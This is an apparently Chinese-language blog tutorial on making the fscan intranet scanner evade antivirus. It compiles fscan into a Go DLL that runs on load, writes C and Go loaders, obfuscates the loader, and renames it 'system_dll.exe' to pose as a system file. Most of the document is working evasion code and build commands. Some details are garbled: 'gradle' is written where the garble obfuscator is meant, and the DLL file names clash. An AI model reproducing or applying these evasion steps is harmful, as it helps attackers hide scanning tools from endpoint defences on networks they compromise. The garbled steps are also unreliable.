fscan的免杀
前言
首次学习免杀,利用dll劫持的方式,利用微软的白名单机制,实现免杀。本章节代码已同步至github,项目地址: fscan
过程
准备fscan的源码。
git clone https://github.com/shadow1ng/fscan.git
将fsacn的源码中的main.go文件中的main函数如下,由于init函数,在go语言中,为包首次调用的时候会被执行;Go 编写的 DLL 被 C 程序调用时,init 函数会在 DLL 加载到内存时执行,而 main 函数通常不适用于 DLL 并且不会被执行。
package main
import "C"
import (
    "fmt"
    "time"
    "github.com/shadow1ng/fscan/Plugins"
    "github.com/shadow1ng/fscan/common"
)
//export DllCanUnloadNow
func DllCanUnloadNow() {}
//export DllGetClassObject
func DllGetClassObject() {}
//export DllRegisterServer
func DllRegisterServer() {}
//export DllUnregisterServer
func DllUnregisterServer() {}
func init() {
    start := time.Now()
    var Info common.HostInfo
    common.Flag(&Info)
    common.Parse(&Info)
    Plugins.Scan(Info)
    t := time.Now().Sub(start)
    fmt.Printf("[*] 扫描结束,耗时: %s\n", t)
}
func main(){}
编译 windows amd64 下的 dll
GOOS=windows GOARCH=amd64 CGO_ENABLED=1
go build -buildmode=c-shared -o fscan.dll ./cmd/fscan_dll/main.go
这里可以选择 c和go加载器,c加载器的代码如下:
// gcc -o fscan_load fscan_load.c
#include <stdio.h>
#include <windows.h>
int main() {
    HMODULE hDLL;
    hDLL = LoadLibrary("fscan.dll");
    if (hDLL != NULL) {
        // 定义函数指针类型
        typedef void (*FunctionType)();
        // 为每个导出函数创建一个函数指针
        FunctionType DllCanUnloadNow = (FunctionType)GetProcAddress(hDLL, "DllCanUnloadNow");
        FunctionType DllGetClassObject = (FunctionType)GetProcAddress(hDLL, "DllGetClassObject");
        FunctionType DllRegisterServer = (FunctionType)GetProcAddress(hDLL, "DllRegisterServer");
        FunctionType DllUnregisterServer = (FunctionType)GetProcAddress(hDLL, "DllUnregisterServer");
        // 调用每个函数(如果函数指针非空)
        if (DllCanUnloadNow) DllCanUnloadNow();
        if (DllGetClassObject) DllGetClassObject();
        if (DllRegisterServer) DllRegisterServer();
        if (DllUnregisterServer) DllUnregisterServer();
        // 卸载 DLL
        FreeLibrary(hDLL);
        printf("All functions executed successfully.\n");
    }
    else {
        printf("Failed to load DLL.\n");
    }
    return 0;
}
编写dll加载器,dll加载器的作用是将dll加载到内存中,然后调用dll中的init函数,实现免杀。
// gradle build -o fscan_loader_go.exe main.go
package main
import (
	"fmt"
	"syscall"
)
func main() {
	dll, err := syscall.LoadLibrary("fscan_go.dll")
	if err != nil {
		fmt.Printf("[-] Failed to load DLL: %s\n", err)
		return
	}
	defer func(handle syscall.Handle) {
		err := syscall.FreeLibrary(handle)
		if err != nil {
			fmt.Printf("[-] Failed to free DLL: %s\n", err)
		}
	}(dll)
	// 定义并尝试获取 DLL 中的函数
	dllCanUnloadNow, err := syscall.GetProcAddress(dll, "DllCanUnloadNow")
	// 判断err == nil 并且 dllCanUnloadNow != 0
	if err == nil && dllCanUnloadNow != 0 {
		_, _, err := syscall.SyscallN(dllCanUnloadNow, 0, 0, 0, 0)
		if err != 0 {
			fmt.Printf("[-] Failed to execute DllCanUnloadNow: %s\n", err)
		}
	}
	dllGetClassObject, err := syscall.GetProcAddress(dll, "DllGetClassObject")
	if err == nil && dllGetClassObject != 0 {
		_, _, err := syscall.SyscallN(dllGetClassObject, 0, 0, 0, 0)
		if err != 0 {
			fmt.Printf("[-] Failed to execute DllGetClassObject: %s\n", err)
		}
	}
	dllRegisterServer, err := syscall.GetProcAddress(dll, "DllRegisterServer")
	if err == nil && dllRegisterServer != 0 {
		_, _, err := syscall.SyscallN(dllRegisterServer, 0, 0, 0, 0)
		if err != 0 {
			fmt.Printf("[-] Failed to execute DllRegisterServer: %s\n", err)
		}
	}
	dllUnregisterServer, err := syscall.GetProcAddress(dll, "DllUnregisterServer")
	if err == nil && dllUnregisterServer != 0 {
		_, _, err := syscall.SyscallN(dllUnregisterServer, 0, 0, 0, 0)
		if err != 0 {
			fmt.Printf("[-] Failed to execute DllUnregisterServer: %s\n", err)
		}
	}
	fmt.Println("All functions executed successfully.")
}
使用go语言编译加载器, 需要使用gradle进行混淆,防止被杀软查杀。
go install mvdan.cc/garble@latest
GOOS=windows GOARCH=amd64 CGO_ENABLED=1
gradle build -o fscan_loader.exe ./cmd/fscan_loader/main.go
将fscan.dll和fscan_loader.exe放在同一目录下,运行fscan_loader.exe,即可实现免杀。
# 改个名字
mv fscan_loader.exe system_dll.exe
./system_dll.exe
结果
- 火绒
 

- 微步云沙箱
 

